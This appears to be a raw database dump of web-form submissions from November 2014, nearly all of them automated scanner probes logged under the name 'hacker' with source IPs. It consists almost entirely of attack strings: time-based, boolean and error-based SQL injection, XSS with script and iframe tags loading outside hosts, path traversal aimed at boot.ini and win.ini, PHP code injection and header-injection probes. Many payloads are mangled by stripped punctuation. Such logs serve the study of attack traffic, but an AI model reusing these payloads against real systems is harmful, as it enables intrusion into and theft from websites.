hacker2014-11-14 22:24:24123.125.160.21688888 
88888
hacker2014-11-14 22:24:24123.125.160.21688888 
88888) RLIKE (SELECT (CASE WHEN (6565) THEN 88888 ELSE 0x28 END)) AND (5757
hacker2014-11-14 22:24:24123.125.160.21688888) IF(7858) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-11-14 22:24:25123.125.160.21688888 
88888
hacker2014-11-14 22:24:25123.125.160.21688888 
88888) RLIKE (SELECT (CASE WHEN (151172) THEN 88888 ELSE 0x28 END)) AND (151151
hacker2014-11-14 22:24:26123.125.160.21688888 
88888) OR 6565 OR (6565) LIMIT 100 --
hacker2014-11-14 22:24:26123.125.160.21688888 
88888
hacker2014-11-14 22:24:27123.125.160.21688888 
88888
hacker2014-11-14 22:24:28123.125.160.21688888 
88888
hacker2014-11-14 22:24:28123.125.160.21688888) IF(8484) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-11-14 22:24:28123.125.160.21688888 
(SELECT (CASE WHEN (8698) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-11-14 22:24:29123.125.160.21688888) RLIKE (SELECT (CASE WHEN (1274) THEN 88888 ELSE 0x28 END)) AND (ipip 
88888
hacker2014-11-14 22:24:29123.125.160.21688888 
IIF(3191,88888,1/0)
hacker2014-11-14 22:24:29123.125.160.21688888 
88888
hacker2014-11-14 22:24:29123.125.160.21688888 
IIF(7676,88888,1/0)
hacker2014-11-14 22:24:29123.125.160.21688888) RLIKE (SELECT (CASE WHEN (7171) THEN 88888 ELSE 0x28 END)) AND (CSCS 
88888
hacker2014-11-14 22:24:30123.125.160.21688888 RLIKE (SELECT (CASE WHEN (2253) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2014-11-14 22:24:30123.125.160.21688888 
88888 AND U9o1
hacker2014-11-14 22:24:30123.125.160.21688888 
88888
hacker2014-11-14 22:24:31123.125.160.21688888 RLIKE (SELECT (CASE WHEN (4242) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2014-11-14 22:24:31123.125.160.21688888 
88888 AND mImI
hacker2014-11-14 22:24:31123.125.160.21688888 RLIKE (SELECT (CASE WHEN (7824) THEN 88888 ELSE 0x28 END)) AND 3535 
88888
hacker2014-11-14 22:24:32123.125.160.21688888 
88888
hacker2014-11-14 22:24:32123.125.160.21688888 
88888 AND 1124 AND
hacker2014-11-14 22:24:32123.125.160.21688888 RLIKE (SELECT (CASE WHEN (8181) THEN 88888 ELSE 0x28 END)) AND ntnt 
88888
hacker2014-11-14 22:24:33123.125.160.21688888 
88888
hacker2014-11-14 22:24:33123.125.160.21688888 
88888 AND 1919 AND
hacker2014-11-14 22:24:33123.125.160.21688888 
88888
hacker2014-11-14 22:24:34123.125.160.21688888 
88888) AND 7811 AND (aRaR
hacker2014-11-14 22:24:34123.125.160.21688888 WAITFOR DELAY 0:0:5-- 
88888
hacker2014-11-14 22:24:34123.125.160.21688888 
88888
hacker2014-11-14 22:24:35123.125.160.21688888 
88888) AND 3636 AND (aTaT
hacker2014-11-14 22:24:35123.125.160.21688888 
88888
hacker2014-11-14 22:24:35123.125.160.21688888 WAITFOR DELAY 0:0:5-- 
88888
hacker2014-11-14 22:24:36123.125.160.21688888 
8888827 AND 8318 #
hacker2014-11-14 22:24:36123.125.160.21688888 
88888
hacker2014-11-14 22:24:36123.125.160.21688888 
88888
hacker2014-11-14 22:24:36123.125.160.21688888 
8888827 AND 8484 #
hacker2014-11-14 22:24:37123.125.160.21688888 WAITFOR DELAY 0:0:5-- 
88888
hacker2014-11-14 22:24:37123.125.160.21688888 
88888
hacker2014-11-14 22:24:37123.125.160.21688888 
88888) AND 7631 AND 1 like(
hacker2014-11-14 22:24:37123.125.160.21688888 
88888
hacker2014-11-14 22:24:38123.125.160.21688888 
88888) AND 1717 AND 1 like(
hacker2014-11-14 22:24:38123.125.160.21688888 WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-11-14 22:24:38123.125.160.21688888 
88888
hacker2014-11-14 22:24:39123.125.160.21688888 
88888 OR gJgJ LIMIT 100 --
hacker2014-11-14 22:24:39123.125.160.21688888 
88888
hacker2014-11-14 22:24:39123.125.160.21688888 
88888
hacker2014-11-14 22:24:40123.125.160.21688888 
88888 IF(8511) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-11-14 22:24:40123.125.160.21688888) WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-11-14 22:24:40123.125.160.21688888 
88888
hacker2014-11-14 22:24:40123.125.160.21688888 
88888 IF(1717) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-11-14 22:24:40123.125.160.21688888 
88888
hacker2014-11-14 22:24:41123.125.160.21688888) WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-11-14 22:24:41123.125.160.21688888 
88888) IF(9267) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-11-14 22:24:41123.125.160.21688888 
88888
hacker2014-11-14 22:24:41123.125.160.21688888 
88888) RLIKE (SELECT (CASE WHEN (9877) THEN 88888 ELSE 0x28 END)) AND (5k5k
hacker2014-11-14 22:24:41123.125.160.21688888 
88888
hacker2014-11-14 22:24:41123.125.160.21688888)) WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-11-14 22:24:42123.125.160.21688888 
88888) RLIKE (SELECT (CASE WHEN (9696) THEN 88888 ELSE 0x28 END)) AND (pZpZ
hacker2014-11-14 22:24:42123.125.160.21688888 
88888
hacker2014-11-14 22:24:42123.125.160.21688888 
88888 RLIKE (SELECT (CASE WHEN (6863) THEN 88888 ELSE 0x28 END)) AND
hacker2014-11-14 22:24:43123.125.160.21688888 
88888
hacker2014-11-14 22:24:43123.125.160.21688888 AND SLEEP(5) 
88888
hacker2014-11-14 22:24:43123.125.160.21688888 
88888 RLIKE (SELECT (CASE WHEN (4644) THEN 88888 ELSE 0x28 END)) AND UJUJ
hacker2014-11-14 22:24:44123.125.160.21688888 
88888
hacker2014-11-14 22:24:44123.125.160.21688888 
88888 RLIKE (SELECT (CASE WHEN (1919) THEN 88888 ELSE 0x28 END)) AND xCxC
hacker2014-11-14 22:24:44123.125.160.21688888 
88888
hacker2014-11-14 22:24:45123.125.160.21688888 AND SLEEP(5) # 
88888
hacker2014-11-14 22:24:46123.125.160.21688888 
88888
hacker2014-11-14 22:24:46123.125.160.21688888 
88888
hacker2014-11-14 22:24:46123.125.160.21688888 
88888
hacker2014-11-14 22:24:47123.125.160.21688888 
88888 WAITFOR DELAY 0:0:5--
hacker2014-11-14 22:24:47123.125.160.21688888 AND SLEEP(5) # 
88888
hacker2014-11-14 22:24:48123.125.160.21688888 
88888
hacker2014-11-14 22:24:48123.125.160.21688888) AND SLEEP(5) # 
88888
hacker2014-11-14 22:24:49123.125.160.21688888 
88888
hacker2014-11-14 22:24:50123.125.160.21688888) AND SLEEP(5) # 
88888
hacker2014-11-14 22:24:50123.125.160.21688888 
88888
hacker2014-11-14 22:24:51123.125.160.21688888 
88888
hacker2014-11-14 22:24:51123.125.160.21688888 
88888
hacker2014-11-14 22:24:51123.125.160.21688888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2014-11-14 22:24:52123.125.160.21688888 
88888 WAITFOR DELAY 0:0:5--
hacker2014-11-14 22:24:52123.125.160.21688888 
88888
hacker2014-11-14 22:24:52123.125.160.21688888 
88888
hacker2014-11-14 22:24:53123.125.160.21688888 
88888 WAITFOR DELAY 0:0:5 --
hacker2014-11-14 22:24:53123.125.160.21688888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2014-11-14 22:24:53123.125.160.21688888 
88888
hacker2014-11-14 22:24:53123.125.160.21688888 
88888
hacker2014-11-14 22:24:54123.125.160.21688888 
88888) WAITFOR DELAY 0:0:5 --
hacker2014-11-14 22:24:54123.125.160.21688888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2014-11-14 22:24:55123.125.160.21688888 
88888
hacker2014-11-14 22:24:55123.125.160.21688888 
88888
hacker2014-11-14 22:24:55123.125.160.21688888 
88888) WAITFOR DELAY 0:0:5 --
hacker2014-11-14 22:24:55123.125.160.21688888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2014-11-14 22:24:56123.125.160.21688888 
88888
hacker2014-11-14 22:24:56123.125.160.21688888 
88888
hacker2014-11-14 22:24:56123.125.160.21688888 
88888)) WAITFOR DELAY 0:0:5 --
hacker2014-11-14 22:24:57123.125.160.21688888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND TnTTnT 
88888
hacker2014-11-14 22:24:57123.125.160.21688888 
88888
hacker2014-11-14 22:24:57123.125.160.21688888 
88888
hacker2014-11-14 22:24:57123.125.160.21688888 
88888 AND SLEEP(5)
hacker2014-11-14 22:24:57123.125.160.21688888 
88888
hacker2014-11-14 22:24:57123.125.160.21688888AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) 
88888
hacker2014-11-14 22:24:57123.125.160.21688888 
88888
hacker2014-11-14 22:24:58123.125.160.21688888 
88888
hacker2014-11-14 22:24:58123.125.160.21688888 
88888
hacker2014-11-14 22:24:58123.125.160.21688888 
88888 AND SLEEP(5) #
hacker2014-11-14 22:24:58123.125.160.21688888 
88888
hacker2014-11-14 22:24:58123.125.160.21688888 
88888
hacker2014-11-14 22:24:58123.125.160.21688888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND  
88888
hacker2014-11-14 22:24:59123.125.160.21688888 
88888 AND SLEEP(5) #
hacker2014-11-14 22:25:00123.125.160.21688888 
88888
hacker2014-11-14 22:25:00123.125.160.21688888 
88888) AND SLEEP(5) #
hacker2014-11-14 22:25:01123.125.160.21688888 
88888
hacker2014-11-14 22:25:02123.125.160.21688888 
88888) AND SLEEP(5) #
hacker2014-11-14 22:25:03123.125.160.21688888 
88888
hacker2014-11-14 22:25:03123.125.160.21688888 
88888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-11-14 22:25:04123.125.160.21688888 
88888
hacker2014-11-14 22:25:05123.125.160.21688888 
88888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-11-14 22:25:06123.125.160.21688888 
88888
hacker2014-11-14 22:25:07123.125.160.21688888 
88888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-11-14 22:25:08123.125.160.21688888 
88888
hacker2014-11-14 22:25:09123.125.160.21688888 
88888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))#
hacker2014-11-14 22:25:10123.125.160.21688888 
88888
hacker2014-11-14 22:25:12123.125.160.21688888 
88888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND TnTTnT
hacker2014-11-14 22:25:13123.125.160.21688888 
88888
hacker2014-11-14 22:25:14123.125.160.21688888 
88888AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5)
hacker2014-11-14 22:25:14123.125.160.21688888 
88888
hacker2014-11-14 22:25:14123.125.160.21688888 
88888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND
hacker2014-11-14 22:25:15123.125.160.21688888 
88888
hacker2014-11-14 22:25:17123.125.160.21688888 
88888
hacker2014-11-14 22:25:17123.125.160.21688888 
88888
hacker2014-11-14 22:25:19123.125.160.21688888 
88888
hacker2014-11-14 22:25:20123.125.160.21688888 
88888
hacker2014-11-14 22:25:22123.125.160.21688888 
88888
hacker2014-11-14 22:25:24123.125.160.21688888 
88888
hacker2014-11-14 22:25:26123.125.160.21688888 
88888
hacker2014-11-14 22:25:27123.125.160.21688888 
88888
hacker2014-11-14 22:25:28123.125.160.21688888 
88888
hacker2014-11-14 22:25:29123.125.160.21688888 
88888
hacker2014-11-14 22:25:30123.125.160.21688888 
88888
hacker2014-11-14 22:25:31123.125.160.21688888script srchttp://xxooxxoo.js/script 
88888
hacker2014-11-14 22:25:31123.125.160.21688888 
88888
hacker2014-11-14 22:25:33123.125.160.21688888 
88888
hacker2014-11-14 22:25:34123.125.160.21688888 
88888
hacker2014-11-14 22:25:34123.125.160.21688888 
88888
hacker2014-11-14 22:25:35123.125.160.21688888 
88888
hacker2014-11-14 22:25:36123.125.160.21688888 
88888
hacker2014-11-14 22:25:37123.125.160.21688888 
88888
hacker2014-11-14 22:25:38123.125.160.21688888 
88888
hacker2014-11-14 22:25:48123.125.160.21688888 
88888script srchttp://xxooxxoo.js/script
hacker2014-11-14 22:26:04123.125.160.21688888 
88888
hacker2014-11-14 22:26:04123.125.160.21688888 
88888
hacker2014-11-14 22:26:43123.125.160.21688888 
88888
hacker2014-11-14 22:26:44123.125.160.21688888 
88888
hacker2014-11-14 22:26:46123.125.160.21688888 
88888
hacker2014-11-14 22:26:49123.125.160.21688888 
88888
hacker2014-11-14 22:26:51123.125.160.21688888 
88888
hacker2014-11-14 22:26:52123.125.160.21688888 
88888
hacker2014-11-14 22:26:53123.125.160.21688888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-11-14 22:26:55123.125.160.21688888 
88888
hacker2014-11-14 22:26:58123.125.160.21688888 
88888
hacker2014-11-14 22:27:01123.125.160.21688888 
88888
hacker2014-11-14 22:27:03123.125.160.21688888 
88888
hacker2014-11-14 22:27:05123.125.160.21688888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-11-14 22:27:06123.125.160.21688888 
88888
hacker2014-11-14 22:27:10123.125.160.21688888 
88888
hacker2014-11-14 22:27:12123.125.160.21688888 
88888
hacker2014-11-14 22:27:15123.125.160.21688888 
88888
hacker2014-11-14 22:27:16123.125.160.21688888" mouseoverpropromptmpt(42873) bad" 
88888
hacker2014-11-14 22:27:19123.125.160.21688888 
88888
hacker2014-11-14 22:27:20123.125.160.21688888 
88888
hacker2014-11-14 22:27:23123.125.160.21688888iframe srchttp://xxooxxoo.js 
88888
hacker2014-11-14 22:27:23123.125.160.21688888 
88888
hacker2014-11-14 22:27:24123.125.160.21688888 
88888
hacker2014-11-14 22:27:26123.125.160.21688888 
88888
hacker2014-11-14 22:27:29123.125.160.21688888 
88888" mouseoverpropromptmpt(42873) bad"
hacker2014-11-14 22:27:29123.125.160.21688888 
88888
hacker2014-11-14 22:27:31123.125.160.21688888 
88888
hacker2014-11-14 22:27:34123.125.160.21688888 
88888
hacker2014-11-14 22:27:36123.125.160.21688888 
88888iframe srchttp://xxooxxoo.js
hacker2014-11-14 22:27:39123.125.160.2168888827 
88888
hacker2014-11-14 22:27:42123.125.160.21688888 
88888
hacker2014-11-14 22:27:43123.125.160.21688888 
88888
hacker2014-11-14 22:27:50123.125.160.21688888 
8888827
hacker2014-11-14 22:27:54123.125.160.21688888\ 
88888
hacker2014-11-14 22:27:58123.125.160.21688888 
88888
hacker2014-11-14 22:28:05123.125.160.21688888\" 
88888
hacker2014-11-14 22:28:11123.125.160.21688888 
88888\
hacker2014-11-14 22:28:11123.125.160.21688888 
88888
hacker2014-11-14 22:28:12123.125.160.21688888JyI 
88888
hacker2014-11-14 22:28:15123.125.160.21688888 
88888
hacker2014-11-14 22:28:17123.125.160.21688888 
88888\"
hacker2014-11-14 22:28:18123.125.160.21688888 
88888
hacker272014-11-14 22:28:20123.125.160.21688888 
88888
hacker2014-11-14 22:28:23123.125.160.21688888" 
88888
hacker2014-11-14 22:28:23123.125.160.21688888 
88888
hacker2014-11-14 22:28:26123.125.160.21688888 
88888JyI
hacker2014-11-14 22:28:26123.125.160.21688888 
88888
hacker2014-11-14 22:28:32123.125.160.21688888 
88888
hacker2014-11-14 22:28:35123.125.160.21688888 
88888
hacker2014-11-14 22:28:35123.125.160.21688888? 
88888
hacker2014-11-14 22:28:37123.125.160.21688888 
88888"
hacker\2014-11-14 22:28:37123.125.160.21688888 
88888
hacker2014-11-14 22:28:38123.125.160.21688888 
88888
hacker2014-11-14 22:28:41123.125.160.21688888 
88888
hacker2014-11-14 22:28:42123.125.160.21688888 
88888
hacker2014-11-14 22:28:44123.125.160.21688888e360 
88888
hacker2014-11-14 22:28:44123.125.160.21688888 
88888
hacker2014-11-14 22:28:45123.125.160.21688888 
88888
hacker2014-11-14 22:28:46123.125.160.21688888 
88888
hacker2014-11-14 22:28:47123.125.160.21688888 
88888?
hacker2014-11-14 22:28:47123.125.160.21688888 
88888
hacker2014-11-14 22:28:48123.125.160.21688888 
88888
hacker2014-11-14 22:28:49123.125.160.21688888 
88888
hacker\"2014-11-14 22:28:49123.125.160.21688888 
88888
hacker2014-11-14 22:28:52123.125.160.21688888 
88888
hacker2014-11-14 22:28:52123.125.160.216888886633x3X6 
88888
hacker2014-11-14 22:28:53123.125.160.21688888 
88888
hacker2014-11-14 22:28:53123.125.160.21688888 
88888e360
hacker2014-11-14 22:28:54123.125.160.21688888 
88888
hackerJyI2014-11-14 22:28:56123.125.160.21688888 
88888
hacker2014-11-14 22:28:57123.125.160.21688888 
88888
hacker2014-11-14 22:28:58123.125.160.21688888 
88888
hacker2014-11-14 22:29:02123.125.160.21688888"\\"27? 
88888
hacker2014-11-14 22:29:05123.125.160.21688888 
888886633x3X6
hacker"2014-11-14 22:29:05123.125.160.21688888 
88888
hacker2014-11-14 22:29:08123.125.160.21688888" 
88888
hacker2014-11-14 22:29:09123.125.160.21688888 
88888"\\"27?
hacker?2014-11-14 22:29:12123.125.160.21688888 
88888
hacker2014-11-14 22:29:23123.125.160.21688888/ 
88888
hacker2014-11-14 22:29:24123.125.160.21688888 
88888"
hacker2014-11-14 22:29:35123.125.160.21688888) 
88888
hacker2014-11-14 22:29:39123.125.160.21688888 
88888/
hacker2014-11-14 22:29:51123.125.160.21688888!(() 
88888
hacker2014-11-14 22:29:52123.125.160.21688888 
88888)
hacker2014-11-14 22:30:04123.125.160.21688888alert(42873) 
88888
hacker2014-11-14 22:30:08123.125.160.21688888 
88888!(()
hacker"2014-11-14 22:30:08123.125.160.21688888 
88888
hacker2014-11-14 22:30:16123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-11-14 22:30:23123.125.160.21688888 
88888alert(42873)
hacker/2014-11-14 22:30:24123.125.160.21688888 
88888
hacker2014-11-14 22:30:30123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-11-14 22:30:34123.125.160.21688888 
../../../../../../../../boot.ini
hacker)2014-11-14 22:30:34123.125.160.21688888 
88888
hacker2014-11-14 22:30:46123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-11-14 22:30:51123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker!(()2014-11-14 22:30:54123.125.160.21688888 
88888
hacker2014-11-14 22:30:56123.125.160.21688888 
88888
hacker2014-11-14 22:31:07123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-11-14 22:31:09123.125.160.21688888 
../../../../../../../../boot.ini
hackeralert(42873)2014-11-14 22:31:09123.125.160.21688888 
88888
hacker2014-11-14 22:31:16123.125.160.216boot.ini 
88888
hacker2014-11-14 22:31:17123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-11-14 22:31:25123.125.160.216windows/win.ini 
88888
hacker2014-11-14 22:31:27123.125.160.21688888 
boot.ini
hacker2014-11-14 22:31:34123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-11-14 22:31:36123.125.160.21688888 
windows/win.ini
hacker2014-11-14 22:32:18123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-11-14 22:32:25123.125.160.21688888 
../../../../../../../../boot.ini
hacker2014-11-14 22:32:33123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-11-14 22:32:34123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-11-14 22:32:41123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-11-14 22:32:43123.125.160.21688888 
../../../../../../../../boot.ini
hacker2014-11-14 22:32:48123.125.160.216/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2014-11-14 22:32:53123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-11-14 22:33:00123.125.160.216/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini 
88888
hacker2014-11-14 22:33:41123.125.160.21688888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-11-14 22:33:45123.125.160.216C:\windows\win.ini 
88888
hacker2014-11-14 22:33:47123.125.160.21688888 
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
hacker2014-11-14 22:33:52123.125.160.21688888 
88888
hacker2014-11-14 22:33:52123.125.160.216..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-11-14 22:33:56123.125.160.21688888 
C:\windows\win.ini
hacker2014-11-14 22:34:00123.125.160.216..\..\..\..\..\..\..\..\windows\win.ini 
88888
hacker2014-11-14 22:34:03123.125.160.21688888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-11-14 22:34:15123.125.160.216../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-11-14 22:34:18123.125.160.21688888 
..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-11-14 22:34:28123.125.160.216../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini 
88888
hacker2014-11-14 22:34:34123.125.160.21688888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-11-14 22:34:40123.125.160.216../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-11-14 22:34:47123.125.160.21688888 
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
hacker2014-11-14 22:34:56123.125.160.216../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini 
88888
hacker2014-11-14 22:35:01123.125.160.21688888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-11-14 22:35:08123.125.160.216................windows/win.ini 
88888
hacker2014-11-14 22:35:12123.125.160.21688888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
hacker2014-11-14 22:35:24123.125.160.216..\..\..\..\..\..\..\..\windows\win.ini 
88888
hacker2014-11-14 22:35:28123.125.160.21688888 
................windows/win.ini
hacker2014-11-14 22:35:34123.125.160.216|..\..\..\..\..\..\..\..\windows\win.ini 
88888
hacker2014-11-14 22:35:36123.125.160.21688888 
..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-11-14 22:35:40123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-11-14 22:35:41123.125.160.21688888 
|..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-11-14 22:35:49123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-11-14 22:35:52123.125.160.21688888 
../../../../../../../../boot.ini
hacker2014-11-14 22:35:57123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-11-14 22:35:59123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-11-14 22:36:03123.125.160.216file:///c:/boot.ini 
88888
hacker2014-11-14 22:36:04123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-11-14 22:36:09123.125.160.216file:///c:/windows/win.ini 
88888
hacker2014-11-14 22:36:10123.125.160.21688888 
file:///c:/boot.ini
hacker2014-11-14 22:36:18123.125.160.216http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-11-14 22:36:19123.125.160.21688888 
file:///c:/windows/win.ini
hacker2014-11-14 22:36:26123.125.160.216/some_inexistent_file_with_lg_name 
88888
hacker2014-11-14 22:36:28123.125.160.21688888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-11-14 22:36:39123.125.160.216 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-11-14 22:36:41123.125.160.21688888 
/some_inexistent_file_with_lg_name
hacker2014-11-14 22:36:56123.125.160.216 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-11-14 22:36:56123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_test
hacker2014-11-14 22:37:01123.125.160.216 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-11-14 22:37:02123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_test
hacker2014-11-14 22:37:10123.125.160.216dir 
88888
hacker2014-11-14 22:37:11123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_test
/some_inexistent_file_with_lg_name2014-11-14 22:37:17123.125.160.21688888 
88888
hacker2014-11-14 22:37:28123.125.160.216dir 
88888
hacker2014-11-14 22:37:33123.125.160.21688888 
dir
hacker2014-11-14 22:37:51123.125.160.216http://oxoxoxoxoxoxox.com 
88888
hacker2014-11-14 22:37:52123.125.160.21688888 
dir
hacker2014-11-14 22:38:04123.125.160.21688888 
http://oxoxoxoxoxoxox.com
hacker2014-11-14 22:38:12123.125.160.216oxoxoxoxoxoxox.com 
88888
hacker2014-11-14 22:38:19123.125.160.21688888 
oxoxoxoxoxoxox.com
hacker2014-11-14 22:38:26123.125.160.216print(md5(1122))# 
88888
dir2014-11-14 22:38:26123.125.160.21688888 
88888
hacker2014-11-14 22:38:37123.125.160.21688888 
print(md5(1122))#
dir2014-11-14 22:38:40123.125.160.21688888 
88888
hacker2014-11-14 22:38:46123.125.160.216)print(md5(1122))// 
88888
hacker2014-11-14 22:38:47123.125.160.21688888 
)print(md5(1122))//
hacker2014-11-14 22:38:51123.125.160.216${@print(md5(1122))} 
88888
hacker2014-11-14 22:38:55123.125.160.21688888 
${@print(md5(1122))}
hacker2014-11-14 22:38:59123.125.160.216data:text/plain,?php print(md5(1122))? 
88888
hacker2014-11-14 22:39:03123.125.160.21688888 
data:text/plain,?php print(md5(1122))?
hacker2014-11-14 22:39:11123.125.160.216phpinfo 
88888
hacker2014-11-14 22:39:11123.125.160.21688888 
phpinfo
hacker2014-11-14 22:39:26123.125.160.216?exit(md5(1122))? 
88888
hacker2014-11-14 22:39:26123.125.160.21688888 
?exit(md5(1122))?
hacker2014-11-14 22:39:41123.125.160.216http://220.181.158.71:80 
88888
hacker2014-11-14 22:39:42123.125.160.21688888 
http://220.181.158.71:80
hacker2014-11-21 9:30:18218.30.118.7988888 
88888
hacker2014-11-21 9:30:19218.30.118.7988888 
88888
hacker2014-11-21 9:30:20218.30.118.7988888 
88888
hacker2014-11-21 9:30:26218.30.118.7988888 
88888
hacker2014-11-21 9:30:26218.30.118.7988888 
88888
hacker2014-11-21 9:30:28218.30.118.7988888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-21 9:30:29218.30.118.7988888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-21 9:30:29218.30.118.7988888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-21 9:30:31218.30.118.7988888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-21 9:30:31218.30.118.7988888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-11-21 9:30:33218.30.118.7988888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-21 9:30:34218.30.118.7988888 
88888
hacker2014-11-21 9:30:34218.30.118.7988888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-21 9:30:38218.30.118.7988888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-21 9:30:38218.30.118.7988888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-21 9:30:40218.30.118.7988888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-11-21 9:30:40218.30.118.7988888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-21 9:30:42218.30.118.7988888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-21 9:30:42218.30.118.7988888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-21 9:30:44218.30.118.7988888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
